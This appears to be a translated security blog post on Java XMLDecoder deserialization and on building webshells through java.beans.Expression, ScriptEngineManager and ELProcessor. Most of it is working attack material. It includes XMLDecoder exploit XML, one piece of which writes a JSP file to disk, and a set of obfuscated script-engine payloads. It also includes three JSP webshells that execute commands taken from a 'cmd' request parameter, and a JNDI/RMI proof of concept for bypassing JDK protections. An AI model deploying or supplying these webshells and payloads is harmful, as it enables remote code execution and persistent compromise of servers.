[network security] bottom layer extension and production of deserialization vulnerability WebShell

XMLDecoder deserialization vulnerability underlying

The reference articles have been analyzed in great detail. Here I mainly talk about the final implementation. That is, the use of the Expression class

import java.beans.Expression;

public class test {
    public static void main(String[] args)throws Exception {
        Parameter();//With parameters
        NoParameter();//No parameters
    }
    public static void Parameter() throws Exception{
        Object var3 = new ProcessBuilder();
        String var4 = "command";
        String[] strings = new String[]{"calc"};
        Object[] var2 = new Object[]{strings};
        Expression var5 = new Expression(var3, var4, var2);
        Object value = var5.getValue();//Class to get parameters

        String var1 = "start";
        Object[] var6 = new Object[]{};
        Expression expression = new Expression(value, var1, var6);//Execute the start method
        expression.getValue();

//        Why not? Because class Newinstance can only call a parameterless constructor, while ProcessBuilder does not have a parameterless constructor.
//        Class<?> aClass = value.getClass();
//        Object o = aClass.newInstance();
//        Method start = aClass.getMethod("start");
//        start.invoke(o);
    }
    public static void NoParameter(){
        String[] strings = new String[]{"cmd.exe","/c","calc"};
        Object var3 = new ProcessBuilder(strings);
        String var4 = "start";
        Object[] var2 = new Object[]{};
        Expression var5 = new Expression(var3, var4, var2);
        try {
            var5.getValue();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}


The use of Expression can be found through testing. The following example is given.

public class cmd {
    public void Noparameter(){
        System.out.println("Parameterless call....");
    }
    public void Parameter(Object[] obj){
        System.out.println("Call with parameters....");
    }
}
import java.beans.Expression;

public class test1 {
    public static void main(String[] args)throws Exception {
        Object var3 = new cmd();
        String var4 = "Parameter";//Noparameter
        Object[] var2 = new Object[]{"233333"};
        var2 = new Object[]{var2};
        var2 = new Object[]{};
        Expression var5 = new Expression(var3, var4, var2);
        var5.getValue();
    }
}

Some Exps are given.

<?xml version="1.0" encoding="UTF-8"?>
<java>
    <object class="java.lang.ProcessBuilder">
        <array class="java.lang.String" length="3">
            <void index="0">
                <string>cmd.exe</string>
            </void>
            <void index="1">
                <string>/c</string>
            </void>
            <void index="2">
                <string>calc</string>
            </void>
        </array>
        <void method="start">
        </void>
    </object>
</java>

Bypass by entity encoding

<?xml version="1.0" encoding="UTF-8"?>
<java>
    <object class="java.lang.ProcessBuilder">
        <array class="java.lang.String" length="3">
            <void index="0">
                <string>cmd.exe</string>
            </void>
            <void index="1">
                <string>/c</string>
            </void>
            <void index="2">
                <string>calc</string>
            </void>
        </array>
        <void method="start"/>
    </object>
</java>
<?xml version="1.0" encoding="UTF-8"?>
<java>
 <object class="java.io.PrintWriter">
  <string>D:\shell.jsp</string>
  <void method="println">
  <string>
   webshell
 </string>
  </void>
  <void method="close"/>
 </object>
</java>

Think about the Expression class. The bottom layer is executed through reflection. Then we can make webshell

Making WebShell

Expression

package shell.Expression;

import java.beans.Expression;

public class test {
    public static void main(String[] args) {
        String payload ="calc";
        Expression expression = new Expression(Runtime.getRuntime(),"\u0065"+"\u0078"+"\u0065"+"\u0063",new Object[]{payload});
        try {
            expression.getValue();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

The above is java code. The principle of execution is reflection. It can be clearly seen in the getValue method that jsp code is required to make a webshell.

<%@ page import="java.beans.Expression"%>
<%@ page contentType="text/html; charset=UTF-8" language="java" %>
<%
    String payload =request.getParameter("cmd");
    Expression expression = new Expression(Runtime.getRuntime(),"\u0065"+"\u0078"+"\u0065"+"\u0063",new Object[]{payload});
    expression.getValue();
%>

At this point, I suddenly thought of the execution of other expression classes.

ScriptEngineManager

The ScriptEngineManager class can realize the mutual call between Java and JS. Although Java does not have an eval function, ScriptEngineManager has an eval function and can call Java objects directly, which is equivalent to indirectly realizing the eval function of Java.

package shell.ScriptEngineManager;

import javax.script.ScriptEngine;
import javax.script.ScriptEngineManager;

public class test {
    public static void main(String[] args) throws Exception{
        String test = "print('hello word!!');";
        String payload1 = "java.lang.Runtime.getRuntime().exec(\"calc\")";
        String payload2 = "var a=exp();function exp(){var x=new java.lang.ProcessBuilder; x.command(\"calc\"); x.start();};";
        String payload3 = "var a=exp();function exp(){java.lang./****/Runtime./***/getRuntime().exec(\"calc\")};";
        String payload4 = "\u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0052\u0075\u006e\u0074\u0069\u006d\u0065.getRuntime().exec(\"calc\");";
        String payload5 = "var a= Java.type(\"java.lang\"+\".Runtime\"); var b =a.getRuntime();b.exec(\"calc\");";
        String payload6 = "load(\"nashorn:mozilla_compat.js\");importPackage(java.lang); var x=Runtime.getRuntime(); x.exec(\"calc\");";
        //Rhino compatible https://blog.csdn.net/u013292493/article/details/51020057
        String payload7 = "var a =JavaImporter(java.lang); with(a){ var b=Runtime.getRuntime().exec(\"calc\");}";
//        String payload8 = "var scr = document.createElement(\"script\");scr.src = \"http://127.0.0.1:8082/js.js\";document.body.appendChild(scr);exec();";
        eval(payload7);
    }
    public static void eval(String payload){
        payload=payload;
        ScriptEngineManager manager = new ScriptEngineManager(null);
        ScriptEngine engine = manager.getEngineByName("js");
        try {
            engine.eval(payload);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

Then I have a whim and think about whether I can load js code remotely? Then execute the exp in the remote js code. Refer to payload8

function exec(){    
    var a=exp();function exp(){var x=new java.lang.ProcessBuilder; x.command("calc"); x.start();};
}


Execution failed! Baidu explained that the reason is probably because java does not have browser built-in objects such as document, window and so on when executing js code.

The solution is to add components to configure the environment of java parsing browser?? In this case, it is basically impossible to configure like this, so I don't have an in-depth understanding.

The underlying principle of java executing js code

I will debug many times here. The specific process in the middle is basically a parsing process, so I only look at the end.

In fact, it is essentially a reflection. The last call is apply: 393, which is executed in the apply mode of scriptruntime (JDK. Nashorn. Internal. Runtime).

Look at the calling stack:

apply:393, ScriptRuntime (jdk.nashorn.internal.runtime)
evalImpl:449, NashornScriptEngine (jdk.nashorn.api.scripting)
evalImpl:406, NashornScriptEngine (jdk.nashorn.api.scripting)
evalImpl:402, NashornScriptEngine (jdk.nashorn.api.scripting)
eval:155, NashornScriptEngine (jdk.nashorn.api.scripting)
eval:264, AbstractScriptEngine (javax.script)
eval:24, test (shell.ScriptEngineManager)
main:17, test (shell.ScriptEngineManager)

You can test the debugging process yourself

The above idea of loading remote js comes from your own debugging process.


That's webshell No echo

<%@ page import="javax.script.ScriptEngineManager" %>
<%@ page import="javax.script.ScriptEngine" %>
<%
    ScriptEngineManager manager = new ScriptEngineManager(null);
    ScriptEngine engine = manager.getEngineByName("js");
    String payload = request.getParameter("cmd");
    engine.eval(payload);
%>

Then I have to say that there is another expression executed in java, that is, EL expression

ELProcessor

Expression Language, or EL expression for short, is a special general programming language in Java. In view of JavaScript and XPath, it is mainly used to embed Java Web applications into web pages (such as JSP), it is used to access the context of the page and objects in different scopes, obtain the value of the object attribute, or perform simple operation or judgment. EL will automatically convert the data type when it gets a certain data.

ELProcessor also has its own eval function and can call Java objects to execute commands.

package shell.EL;

import javax.el.ELProcessor;

public class test {
    public static void main(String[] args) throws Exception {
        String payload = "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"js\").eval(\"var exp='calc';java.lang.Runtime.getRuntime().exec(exp);\")";

        String poc = "''.getClass().forName('javax.script.ScriptEngineManager')" +
                ".newInstance().getEngineByName('nashorn')" +
                ".eval(\"s=[3];s[0]='cmd.exe';s[1]='/c';s[2]='calc';java.lang.Runtime.getRuntime().exec(s);\")";

        ELeval(payload);
    }
    public static void ELeval(String payload){
        payload=payload;
        ELProcessor elProcessor = new ELProcessor();
        try {
            elProcessor.eval(payload);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

We can also look at the underlying principles of EL expressions.

Underlying principle of EL expression
We use payload to debug. We always follow the process and find that it is finally executed through reflection.

Finally, execute the getValue method in the AstValue class to call payload, and then the process executed by js code will be the same.

Call stack:

getValue:159, AstValue (org.apache.el.parser)
getValue:190, ValueExpressionImpl (org.apache.el)
getValue:61, ELProcessor (javax.el)
eval:54, ELProcessor (javax.el)
ELeval:20, test (shell.EL)
main:13, test (shell.EL)

webshell. No echo

<%@ page import="javax.el.ELProcessor"%>
<%@ page contentType="text/html; charset=UTF-8" language="java" %>
<%
    String cmd =request.getParameter("cmd");
    String payload = "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"js\").eval(\"var exp='"+cmd+"';java.lang.Runtime.getRuntime().exec(exp);\")";
    ELProcessor elProcessor = new ELProcessor();
    elProcessor.eval(payload);
%>

At this point, I suddenly thought of jndi injection to bypass jdk191 +, one of which is to use ELProcessor class

poc is given directly here

Registry registry = LocateRegistry.createRegistry(rmi_port);
// Instantiate Reference and specify the target class as javax el. Elprocessor, the factory class is org apache. naming. factory. BeanFactory
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
// Force the setter of 'x' attribute from 'setX' to 'eval'. See beanfactory for detailed logic Getobjectinstance code
ref.add(new StringRefAddr("forceString", "KINGX=eval"));
// Execute commands using expressions
ref.add(new StringRefAddr("KINGX", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd.exe','/c','calc']).start()\")"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("Exploit", referenceWrapper);

Another way is to bypass it through LDAP and write a gadget yourself

summary

By learning the underlying execution process of XMLDecoder to find other expression execution, and many of them are implemented through java reflection technology!

If there are mistakes in the article, I hope the leaders can put forward them

last

If you want to master more and higher-level network security technologies, you can call me [learn]

Keywords: network Programmer security Cyber Security computer networks

Added by Cbrams on Tue, 28 Dec 2021 05:50:04 +0200